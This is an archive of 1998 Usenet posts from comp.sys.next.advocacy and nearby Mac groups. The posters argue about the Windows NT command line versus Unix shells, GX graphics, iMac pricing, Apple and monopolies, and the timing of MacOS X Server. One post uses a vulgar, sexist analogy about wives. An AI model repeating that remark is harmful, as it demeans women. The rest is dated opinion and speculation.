References: <heaney-0509981648590001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com><heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com><heaney-0809981243030001@24.0.246.137><6t3nal$124$2@nnrp02.primenet.com><heaney-0809981533040001@24.0.246.137><6t42o6$puq$1@nnrp03.primenet.com><heaney-0809982244000001@24.0.246.137><6t68ia$b2c$1@nnrp03.primenet.com><heaney-0909981627150001@24.0.246.137><6t76bj$hrb$1@nnrp03.primenet.com><6t77jj$6rq$1@nnrp3.snfc21.pbi.net><6t8nsa$ij$1@nnrp03.primenet.com> <6t97qg$ag3$1@nnrp3.snfc21.pbi.net><35F94B82.BF895AAE@ericsson.com> <6tbq52$q06$1@nnrp4.snfc21.pbi.net><35F9AC3D.8593934@ericsson.com> <6tevmv$a1k$1@nnrp3.snfc21.pbi.net><jdoherty-1209982342090001@aus-tx18-17.ix.netcom.com><6tfjrn$nco$1@nnrp4.snfc21.pbi.net><slrn6vo669.s81.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <SCOTT.98Sep15132801@slave.doubleu.com> <6tp0vn$m9s$1@nnrp3.snfc21.pbi.net>
William Edward Woody <woody@alumni.caltech.edu> wrote in message
6tp0vn$m9s$1@nnrp3.snfc21.pbi.net...
>Scott Hess wrote in message ...
>>Which is _exactly_ the reason that a capable CLI deserves to be
>>present on all modern operating systems (this is one of my gripes with
>>NT, in fact).
>
>But... NT has a CLI. (Start:Program Files:Command Prompt).
>
>And there is even a way that GUI applications can start up a CLI
>application with I/O redirection and everything.
>
>Or is your gripe the fact that the Command Prompt in NT isn't
>"capable?"
I imagine his gripe is "it's not unix" :).
>
>- Bill Woody
>
>
>
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
References: <heaney-0509981648590001@24.0.246.137> <6t8nsa$ij$1@nnrp03.primenet.com> <6t97qg$ag3$1@nnrp3.snfc21.pbi.net> <35F94B82.BF895AAE@ericsson.com> <6tbq52$q06$1@nnrp4.snfc21.pbi.net> <35F9AC3D.8593934@ericsson.com> <6tevmv$a1k$1@nnrp3.snfc21.pbi.net> <jdoherty-1209982342090001@aus-tx18-17.ix.netcom.com> <6tfjrn$nco$1@nnrp4.snfc21.pbi.net> <slrn6vo669.s81.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <SCOTT.98Sep15132801@slave.doubleu.com> <6tp0vn$m9s$1@nnrp3.snfc21.pbi.net>
Message-ID: <36000d60.0@news.depaul.edu>
Date: 16 Sep 98 19:11:28 GMT
In comp.sys.next.advocacy William Edward Woody <woody@alumni.caltech.edu> wrote:
> Scott Hess wrote in message ...
> >Which is _exactly_ the reason that a capable CLI deserves to be
> >present on all modern operating systems (this is one of my gripes with
> >NT, in fact).
> But... NT has a CLI. (Start:Program Files:Command Prompt).
> And there is even a way that GUI applications can start up a CLI
> application with I/O redirection and everything.
> Or is your gripe the fact that the Command Prompt in NT isn't
> "capable?"
Yes. It's pretty awful, especially in comparison to Terminal.app on
OpenStep. Even if you run a Unix shell in it, it is still really
bad.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 16 Sep 98 12:32:55 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B225609D-10EB9D@206.165.43.141>
References: <B225592E-F2C67@206.165.43.141>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
You know, there's an interesting thing implicit in the concept that bitmaps
should have a different set of color space capabilities than text/vectors:
that they are different kinds of objects.
While obviously this is true in some respects, why make artificial
distinctions?
In GX, you can apply the same color space transforms to bitmaps as to text.
The same clipping, the same 3x3 transforms, etc.
Why should MacOS X graphics *retreat* from the elegance of a full-featured
object-based graphics architecture to a kludge? [of course, GX has kludgy
aspects also, but not in the color-space dept]
A bitmap is really just a compact 2D array of rectangles and any
manipulation that can be applied to such an array should be applicable to
the bitmap itself. Conversly, a vector or text-graphic is really a very
oddly shaped pixel and anything that can be done to a single pixel should
be doable to vectors or text.
The fun part is to sub-divide text into run-arrays, but then a string/block
of text becomes an oddly-shaped array of oddly shaped pixels and the same
thing applies all over again.
In fact, GX allows one to apply 3x3 transforms to style runs so that
individual glyphs have separate 3x3 transforms applied. The only real lacks
in GX's text-design are: no text-block shape defined and no separate colors
defined for separate style-runs.
The current (and announced, according to Maury) feature set of YB graphics
is superior to GX in many ways, but there are some glaring shortcomings
that are legacies from its DPS days. If PDF doesn't directly support a GX
feature, I predict that it will be unlikely to appear in YB graphics until
that higher-end library appears with 4x4 transform matrices, etc. The one
exception so far has been the report that bitmaps will support
per-color-channel color-space manipulation. Thus far, we haven't even heard
that the YB printing API will directly support standard YB vector op
compositing of images, letalone the per-color-channel ops of bitmaps. And
lets not talk about color-space manipulation on text-style-runs.
At least, with GX, you could define a style run of "invisible" and overlay
multiple copies of the same text to achieve the effect of colored style
runs (by putting them all in a picture shape with overriding styles and
inks on the same text-string, modifications to the original text-string
would be reflected in each copy automatically).
How do you achieve the effect of per-color-channel manipulations of a bit
of text by overlaying the text in YB graphics? Doable? Probably. Easy?
Perhaps.
But not as easy as having the API built-in.
People wonder why I harp on GX.
It's because GX does things that other technologies can't do unless they
are buried in the archives of Adobe or Macromedia.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Newsgroups: comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: A prediction
Message-ID: <edewEzE915.5oG@netcom.com>
Sender: edew@netcom16.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <6tkdlv$dgb@news1.panix.com> <rmcassid-1409982105430001@dialin9181.slip.uci.edu> <6tnctm$d3q@news1.panix.com>
Date: Wed, 16 Sep 1998 20:31:53 GMT
In article <6tnctm$d3q@news1.panix.com> sal@panix.com writes:
>On Mon, 14 Sep 1998 21:05:42 -0800, Robert Cassidy <rmcassid@uci.edu> wrote:
>>> >Come xMas look for Apple to sweeten the deal a bit.
>>> Lowering the price to $999?
>>Don't count on it. Probably a bundle or a smaller price drop. After all,
>>if they keep selling, why drop the price?
>
>So they can sell more? Apple views the iMac as a growth product. Dropping
>the price to increase demand would be the best way to grow the market
>share.
>
>I expect Apple to drop the current iMac down to under $999 and introduce
>a faster iMac (maybe with dvd) at the $1299 price.
>
Look, they're selling the iMac as fast as they can produce them. They
can't produce any more or any faster, so why drop the price? If anything,
they'd be better off adding a little bit more of feature and upping the
price. That way, they can control the inventory a bit better.
Basic rule in business is that you drop price only when you can't move
the product.
EDEW
Newsgroups: comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: A prediction
Message-ID: <edewEzE9Dn.7BH@netcom.com>
Sender: edew@netcom16.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <6tnctm$d3q@news1.panix.com> <35FF4C9C.6E1E6224@trilithon.com> <6tp05d$s80@news1.panix.com>
Date: Wed, 16 Sep 1998 20:39:23 GMT
In article <6tp05d$s80@news1.panix.com> sal@panix.com writes:
>On Tue, 15 Sep 1998 22:29:00 -0700,
> Henry McGilton <henry@trilithon.com> wrote:
>>Hmmmm --- that sounds backwards to me. Supply and Demand drive
>>prices, not the other way around.
>
>High demand and constrained supply work to raise prices. High demand
>and amply supply work to lower prices.
>
>Though it doesn't prove my point, it looks like Steve Jobs might agree
>with me on this. The easiest way to increase the demand for Apple products
>is to jump start a positive feedback loop. And the quickest way to do that
>is by providing a large supply of an in demand item.
>
The iMac is not a commodity. People buy it because it's not beige, because
it looks cool, because it's different. That's the marketing angle. The
price point is just where people are willing to part with their money.
Apple will do better by throwing in additional features and bumping the
price up a bit. (That is, better than dropping the price.)
>And it looks like he also agrees that OEMing makes more sense for Apple
>than cloning.
>
>http://www.news.com/News/Item/0,4,26369,00.html?owv
>"Apple may outsource iMacs"
>
>OEMing would allow Apple to build more iMacs for less money. That will
>allow them to lower prices, therefore reach customers that have a lower
>pricepoint. That will allow Apple to sell more iMacs for less money.
>This is the same thing that Steve did with the Apple ][ and Bill Gates
>did with the PC. (It is also what Steve failed to do with NeXT, and
>what IBM failed to do with OS/2 and PS/2) Henry Ford did this with the
>model T.
>
MS product is sold for low $$. Apple can't compete in that arena, so it
shouldn't. It is competing in a new arena...that of simplicity and
internet readiness. The best way to compete is to NOT compete...create
a new niche and do an end run around the competition.
>The important thing to keep in mind is that this only works if you can
>increase the supply as the price drops. IMHO, if they tried this six
>months ago with the Desktop g3s, it would have been a yet another mind
>numbing failure. A second thing to keep in mind is that the this will
>fail, (and quickly) if the product doesn't keep up to date. If Apple
>is still selling the existing iMac for $400 in 24 months, the demand
>will be similar for the current demand for Cabbage Patch kids.
>
>> If you drop prices, all that
>>happens is that people who would not have previously considered
>>buying the product may now buy the product.
>
If you drop prices, people will perceive a desperation move and might avoid
the product like the plague.
>The demand for $1000 VCRs was much less than the demand for $200 VCR,
>when prices dropped, more people were willing to buy VCRs. (IE, the
>demand increased)
>
And the current demand for 4-head gizmo-X $600 VCRs are way higher than
on cheapie Goldstar $100 VCRs. Again, the iMac is not competing head to
head against PCs. It is striking out on a new niche.
EDEW
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy
Subject: Re: 48-bit pixels in MacOS 8.5?
Message-ID: <forrestDELETE-THIS!-1609981340590001@term2-29.vta.west.net>
References: <01bde1aa$5fc3f690$06387880@chewy>
Organization: Obsidian Design / Static Dreams Interactive
Date: Wed, 16 Sep 1998 13:40:59 -0700
NNTP-Posting-Date: Wed, 16 Sep 1998 13:40:35 PDT
In article <01bde1aa$5fc3f690$06387880@chewy>, "Todd Heberlein (todd at
NetSQ dot com)" <todd@dev.null> wrote:
> From http://www.maccentral.com/news/9809/16.peek.shtml
>
> "The new icon theme means artists can paint icons in millions of colors
> rather than the current limit of 256 colors. The Allegro icons will also be
> bigger: 48 pixels square rather than 32 pixels square."
>
> Hmm... Sounds a little familiar.
Oh great. I hope we can still use the smaller 32-pixel size. I agree that
larger icons (and the NeXT UI in general) are great for >17" displays, but
smaller (and more common) monitors like my 15" would die at the hands on
the NeXT UI.
And about that title, it's a little misleading; it sounds like you're
talking about 48-bit color (48 bits per pixel).
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Thu, 17 Sep 1998 06:42:50 +1000
Organization: University of Queensland
Message-ID: <6tp7nq$oku$1@bunyip.cc.uq.edu.au>
References: <heaney-0509981648590001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com><heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com><heaney-0809981243030001@24.0.246.137><6t3nal$124$2@nnrp02.primenet.com><heaney-0809981533040001@24.0.246.137><6t42o6$puq$1@nnrp03.primenet.com><heaney-0809982244000001@24.0.246.137><6t68ia$b2c$1@nnrp03.primenet.com><heaney-0909981627150001@24.0.246.137><6t76bj$hrb$1@nnrp03.primenet.com><6t77jj$6rq$1@nnrp3.snfc21.pbi.net><6t8nsa$ij$1@nnrp03.primenet.com> <6t97qg$ag3$1@nnrp3.snfc21.pbi.net><35F94B82.BF895AAE@ericsson.com> <6tbq52$q06$1@nnrp4.snfc21.pbi.net><35F9AC3D.8593934@ericsson.com> <6tevmv$a1k$1@nnrp3.snfc21.pbi.net><jdoherty-1209982342090001@aus-tx18-17.ix.netcom.com><6tfjrn$nco$1@nnrp4.snfc21.pbi.net><slrn6vo669.s81.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <SCOTT.98Sep15132801@slave.doubleu.com> <6tp0vn$m9s$1@nnrp3.snfc21.pbi.net> <6tp6ft$i1t$1@news.spacelab.net>
Charles W. Swiger <chuck@codefab.com> wrote in message
6tp6ft$i1t$1@news.spacelab.net...
>"William Edward Woody" <woody@alumni.caltech.edu> wrote:
>>Scott Hess wrote in message ...
>>Or is your gripe the fact that the Command Prompt in NT isn't
>>"capable?"
>
>I don't know whether that is Scott's opinion, but lord knows it's certainly
>mine. Doskey and a Cmd prompt do not come close to zsh on a Unix box. The
>largely MS-DOS derived CLI programs under NT are wildly inconsistent in
their
>command-line arguments, syntax, ability to handle wildcards, and so forth.
Given that I have always found CLI tools under NT to be far more consistent
wrt to the criteria you give above, I'd be interested to hear some examples.
>
>Often, their functionality tends to be poorly modularized. For instance,
do
>you know just how many things the "net" command can do? And then we could
go
>into the fact that a cmd prompt window is not a terminal emulator, either--
>which is why telnet brings up a seperate window.
>
>-Chuck
>
> Charles Swiger | chuck@codefab.com | Yeah, yeah-- disclaim away.
> ----------------+-------------------+----------------------------
> You have come to the end of your journey. Survival is everything.
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Thu, 17 Sep 1998 03:16:23 -0500
Organization: Ericsson Inc.
Message-ID: <3600C557.433FDC20@exu.ericsson.se>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FDF69E.23AE0964@nstar.net> <6tp05c$s80@news1.panix.com>
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Sal Denaro wrote:
> Then I don't see why you claim that Apple is a monopolist. They have less than
> 5% of a market that _can_ move to windows and use the same Apps (and fonts)
> that they use now. Microsoft has 90+% of that same market.
The claim was simply that Apple uses "monopolistic tactics". The fact
that it does, and succeeds, sort of defines the event, doesn't it?
Keep in mind, Sal, that I don't personally believe in the existence of
"monopolies". This entire conversation has been a foil for demonstrating
that consistent standards must be held. If tactics used by Microsoft
demand action, so do the same tactics used by Apple. I hope you can
agree to this.
Ironically, your arguments that Apple is *not* a monopoly are the same
arguments I would use to demonstrate that *all* monopolies are a
fallacy. Because contracts are entered into voluntarily in a free
market, monopolies cannot exist in a free market, only conveniences. The
convenience may be great or small, but it always exists.
Moreover, this conversation has brought out the fact that government
itself is responsible for the creation and maintenance of "monopolies".
The rationale seems to be "it's in our best interest". I don't need to
point out how ridiculous and inconsistent this is, but I will.
There's an excuse for just about everything. Maintaining a consistent
perspective is a greater and more difficult goal, and it's no accident
that most people don't bother. "Why should I think consistently?", they
ask, just, as you've pointed out, as they ask "Why should I use a CLI?"
MJP
From: Rob McG <rmcgcreative@SPAMFREE.yahoo.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 16 Sep 1998 20:58:01 GMT
Organization: AT&T WorldNet
Message-ID: <35FFEE34.8C504412@SPAMFREE.yahoo.com>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FE4D62.1784041C@SPAMFREE.yahoo.com> <macghod-1509981451420001@sdn-ar-001casbarp006.dialsprint.net> <35FFA8EC.27ED@SPAMFREE.yahoo.com> <35ffae25.4266171@nntp.service.ohio-state.edu> <mteh-ya02408000R1609981057470001@news.earthlink.net> <360000c4.396484@nntp.service.ohio-state.edu>
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Steve wrote:
> How relevant is a Photoshop benchmark to someone who never uses
> Photoshop? I've already said many times that someone who spends a
> significant amount of time in Photoshop has good reason to look at
> Photoshop results, however, many people (including many Mac users) do
> not.
This pretty much says it all, from one of your own. It is as relevant as the
method used to minimize windows, copy and format multiple disks at one time, or
any of the huge amount of nit-picking little things that get posted here. If
you like it and it suits your needs, it is good computer. Period.
Your wife or girlfriend may not be much to look at but gives great head and
cooks like a dream and lets you stay out all night. Is she a worse wife than
the guy's who is drop-dead beautiful but can't boil water, spends all your
money on clothes and hates to even LOOK at your dick. If a beautiful trophy
wife is important to you, wife #2 suits your needs fine.
(My apologies to the the one female who might accidentally stumble into this
group thinking it is about broiling apples).
--
"The foot is more noble than the shoe, and skin more beautiful that the garment
with which it is clothed" - Michelangelo
Remove SPAMFREE. from email address to reply!
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: A prediction
Newsgroups: comp.sys.next.advocacy
References: <6tkdlv$dgb@news1.panix.com> <rmcassid-1409982105430001@dialin9181.slip.uci.edu> <6tnctm$d3q@news1.panix.com> <edewEzE915.5oG@netcom.com>
Message-ID: <360027ec.0@news.depaul.edu>
Date: 16 Sep 98 21:04:44 GMT
Eric Dew <edew@netcom.com> wrote:
> Look, they're selling the iMac as fast as they can produce them. They
> can't produce any more or any faster, so why drop the price? If anything,
> they'd be better off adding a little bit more of feature and upping the
> price. That way, they can control the inventory a bit better.
> Basic rule in business is that you drop price only when you can't move
> the product.
Why? Competition from Intel. The iMac may look like a good buy now,
but it may not in a few months. Especially if some iMac knock-off
PC's start shipping. Once the PC vendors respond, iMac sales will
drop off if Apple doesn't refresh the line.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: A prediction
Newsgroups: comp.sys.next.advocacy
References: <6tnctm$d3q@news1.panix.com> <35FF4C9C.6E1E6224@trilithon.com> <6tp05d$s80@news1.panix.com> <edewEzE9Dn.7BH@netcom.com>
Message-ID: <3600288e.0@news.depaul.edu>
Date: 16 Sep 98 21:07:26 GMT
Eric Dew <edew@netcom.com> wrote:
> The iMac is not a commodity. People buy it because it's not beige, because
> it looks cool, because it's different. That's the marketing angle. The
> price point is just where people are willing to part with their money.
> Apple will do better by throwing in additional features and bumping the
> price up a bit. (That is, better than dropping the price.)
You're assuming that the competition won't change. Right now, the iMac
looks good against the competition. That may change. Apple needs to
stay ahead of the curve for a change.
<snip>
> If you drop prices, people will perceive a desperation move and might avoid
> the product like the plague.
Only if they don't also come out with a faster model for the original
price.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: "Gerard Motola" <gtm@nospam.riftwar.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Wed, 16 Sep 1998 13:49:16 -0700
Organization: EarthLink Network, Inc.
Message-ID: <6tp88s$3jv$1@birch.prod.itd.earthlink.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FE4D62.1784041C@SPAMFREE.yahoo.com> <6took8$poc@news1.panix.com>
Sal Denaro wrote in message <6took8$poc@news1.panix.com>...
>On 15 Sep 1998 15:19:35 GMT, Rob McG <rmcgcreative@SPAMFREE.yahoo.com>
wrote:
>>> What can be done on a Mac that can not be "reasonably replaced" by a
Dell?
><<clip>>
>>and starting the next file. Can Dell "reasonably" replace the Mac? That
depends.
>
>I made no statement on the quality of either product, only that both can
>perform the same jobs and run the same software.
>
But they can't.
From: "Gerard Motola" <gtm@nospam.riftwar.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Wed, 16 Sep 1998 13:55:03 -0700
Organization: EarthLink Network, Inc.
Message-ID: <6tp8jm$3vj$1@birch.prod.itd.earthlink.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FDF69E.23AE0964@nstar.net> <6tp05c$s80@news1.panix.com>
Sal Denaro wrote in message <6tp05c$s80@news1.panix.com>...
>On Tue, 15 Sep 1998 00:09:50 -0500, Michael Peck <mjpeck@nstar.net> wrote:
>>Sal Denaro wrote:
>>> >Think it through carefully and slowly. Can Dell replace your Macintosh?
>>> Yes. If they couldn't, then Apple's market share could not drop.
>>I was being specific to Joe Ragosta. Sure, many Mac users would be
>>amenable to using a Dell machine, but people like Joe would not.
>
>Joe is hardly the typical Mac user.
>
>> The
>>market Joe and his ilk represent is a very real, very closed market.
>
>Loyal customers do not a monopoly make. Joe _can_ move to Windows without
>having to learn new Apps or translate his files.
But he will.
>
>>> Apple has to differentiate its product from Compaq and Dell, just as
Gateway,
>>> IBM and HP have to.
>>Absolutely, because most people are not like Joe.
>
>Then I don't see why you claim that Apple is a monopolist. They have less
than
>5% of a market that _can_ move to windows and use the same Apps (and fonts)
>that they use now. Microsoft has 90+% of that same market.
>
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Wed, 16 Sep 1998 15:59:21 -0500
Organization: Ericsson North America Inc.
Message-ID: <360026A9.F54C6687@ericsson.com>
References: <heaney-0509981648590001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com><heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com><heaney-0809981243030001@24.0.246.137><6t3nal$124$2@nnrp02.primenet.com><heaney-0809981533040001@24.0.246.137><6t42o6$puq$1@nnrp03.primenet.com><heaney-0809982244000001@24.0.246.137><6t68ia$b2c$1@nnrp03.primenet.com><heaney-0909981627150001@24.0.246.137><6t76bj$hrb$1@nnrp03.primenet.com><6t77jj$6rq$1@nnrp3.snfc21.pbi.net><6t8nsa$ij$1@nnrp03.primenet.com> <6t97qg$ag3$1@nnrp3.snfc21.pbi.net><35F94B82.BF895AAE@ericsson.com> <6tbq52$q06$1@nnrp4.snfc21.pbi.net><35F9AC3D.8593934@ericsson.com> <6tevmv$a1k$1@nnrp3.snfc21.pbi.net><jdoherty-1209982342090001@aus-tx18-17.ix.netcom.com><6tfjrn$nco$1@nnrp4.snfc21.pbi.net><slrn6vo669.s81.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <SCOTT.98Sep15132801@slave.doubleu.com> <6tp0vn$m9s$1@nnrp3.snfc21.pbi.net> <6tp231$cgb$1@bunyip.cc.uq.edu.au>
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Christopher Smith wrote:
> I imagine his gripe is "it's not unix" :).
No, and it's not a substitute, either. A simple console app does not a
CLI make. Now, install GNU-Win32 and you have something.
MJP
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: simple question
Date: 16 Sep 1998 21:08:23 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6tp9c7$5q2@shelob.afs.com>
References: <35FF37B7.4788FDA8@starwave.com>
Dayne Miller <dayne.miller@starwave.com> writes
> Does Mac OS X Server (MOSXS???) still support multiple-item selection,
> in the same manner that OPENSTEP does? Specifically, I value the ability
> to select multiple, non-contiguous items and have them represented as a
> single icon on the shelf, to delete, copy, move, drop onto an app, etc.
> And to have more than one of those multi-item selections available at
> the same time.
Yes, but the state key has changed from "Shift" to "Option" (Alt). Shift
now selects a contiguous range from the last selected item down to the
currently selected item.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: Tue, 15 Sep 1998 12:34:34 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6tlmsr$pec$1@nnrp1.dejanews.com>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <35ec7a19.0@news.depaul.edu> <6sjdd8$am7$1@nnrp1.dejanews.com> <6tf372$2b0$2@ironhorse.plsys.co.uk> <6tj38l$mmr$1@nnrp1.dejanews.com> <83gL1.5642$MS.14782014@news.rdc1.sdca.home.com>
rr6013@yahoo.com (Rex Riley) wrote:
> > > My guess would be that we'll see 'X Server sometime before end October.
> > > Just because Apple isn't talking about it publicly doesn't mean it's not
> > > happening...
> >
> > No doubt.
>
> DoubtFULL... unless this is a statement of fact, it is mere speculation
>
> > But it might occur to Apple that people would like a teeny bit of
> > advance warning so they can plan accordingly.
>
> Neither Apple nor NeXT were ever "Server" vendors, I doubt they are going to
> change now. If there is ever some kind of MacOS X server, it will be a very
> nifty Consumer server.
Aahh, Mr Riley strikes another blow at whatever little credibility he has
left.
Let me just point him to http://developer.apple.com/macosx/server/
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
MacOS X user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: Wed, 16 Sep 1998 21:10:44 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6tp9gk$u1t$1@nnrp1.dejanews.com>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <6tocou$r66$1@nnrp1.dejanews.com> <35FFC0C8.A182E11F@nstar.net> <6toqvk$aqs$1@nnrp1.dejanews.com> <6totla$48i@newsb.netnews.att.com>
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> Apple's Sept 1 PR item announcing WebObjects 4
> (http://www.apple.com/pr/library/1998/sep/1webobjects.html)
> says that WebObjects 4 will run on PowerPC G3 hardware,
> development tools will be available on MacOS X Server,
> and will be available in early October.
>
> So, either MacOS X Server and PowerPC G3 support of WebObjects
> will slip, or we should hear an announcement regarding MacOS X Server
> fairly soon.
> Speculation : Apple France Expo 98, September 16-20 -- is that
> a suitable venue ?
I wish. However, I believe Steve made the keynote at Apple France Expo today,
and nothing has appeared about what he said. I suspect that if he'd announced
the ship date of OS X Server, we'd have heard about it by now.
(It's possible, BTW, that WO4 will ship ready to run on OS X server, but that
OS X server itself won't ship simultaneously. After all, WO4 also runs on
Intel, so they need not hold it back until they decide to ship OSXserver.)
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
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From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 16 Sep 1998 18:10:37 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6touut$4ea@newsb.netnews.att.com>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <36007638.23CDD81F@exu.ericsson.se> <6tokr7$3is@newsb.netnews.att.com> <360080D2.8389C025@exu.ericsson.se>
Originator: gupta@tlctest
Michael Peck <Michael.Peck@Ericsson.com> wrote:
>snip]
[denial that he ever raised count of betas of NT 5 or Rhapsody as an issue.]
>snip
[assumption that CR1 of Rhapsody was a public beta]
>snip
>How does this strengthen your case? You have moved from credulity over
>Rhapsody's eventual shipment to more comparisons between NT and MacOS X
>Server. What is it with you and Windows NT? Why is it so important for
>you to hang your pride on NT's demise? Why is it okay for Apple to slip
>shipping dates as long as Microsoft does the same? For shame. Glass
>houses.
Why is my motivation relevant ? I have given reasons for what I believe in;
attack the reasons, if you can. If you have any insight into how
Microsoft might successfully manage 35+ million lines of code, do share it
here.
As to Apple's slipping dates for MacOS X Server -- it certainly is not
OK with me, if only for the reason that the Windows NT 5 delay offers an
opportunity for Apple. This is being squandered each day that MacOS X Server
itself is delayed.
One reason for initiating the "A prediction" thread is to help make it clear
that the success of NT 5 is by no means inevitable.
Another important reason to worry about delay is that it places in jeopardy
the credibility of Apple's development team, which has been within a
quarter of its target dates for the past couple of years, it seems.
-arun gupta
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 16 Sep 1998 21:22:41 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6tpa71$5s1@shelob.afs.com>
References: <6toqvk$aqs$1@nnrp1.dejanews.com>
spagiola@my-dejanews.com writes
